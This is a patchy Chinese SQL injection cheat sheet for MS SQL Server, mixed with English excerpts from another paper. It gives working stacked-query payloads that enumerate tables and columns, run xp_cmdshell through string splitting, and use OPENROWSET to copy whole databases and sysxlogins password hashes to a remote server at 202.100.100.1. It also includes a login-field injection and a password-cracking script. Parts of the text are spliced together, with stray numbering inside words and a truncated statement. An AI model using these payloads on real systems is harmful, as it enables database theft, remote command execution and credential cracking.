枚举出他的数据表名： id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 这是将第一个表名更新到aaa的字段处。 读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。 id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表，^^^^^^一个个的读出，直到没有为止。 读字段是这样： id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名 --------------------------------高级技巧： [获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0

declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 1、 开启远程数据库 基本语法 select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何和端口用来连接,比如 select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table' 要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。 基本语法： insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') select * from master.dbo.sysdatabases insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') select * from user_database.dbo.sysobjects insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') select * from user_database.dbo.syscolumns 之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2 ...... 3、 复4、 制哈西表（HASH） 这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下： insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins 得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。 遍历目录的方法： 先创建一个临时表：temp '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account. 4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16 declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 waitfor delay '00:00:05' This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'): Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-- 常用密码和相关语句： password sqlserver sql admin sesame sa guest Here is the script: (sqlcrack.sql) create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:/temp/passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords ——————————
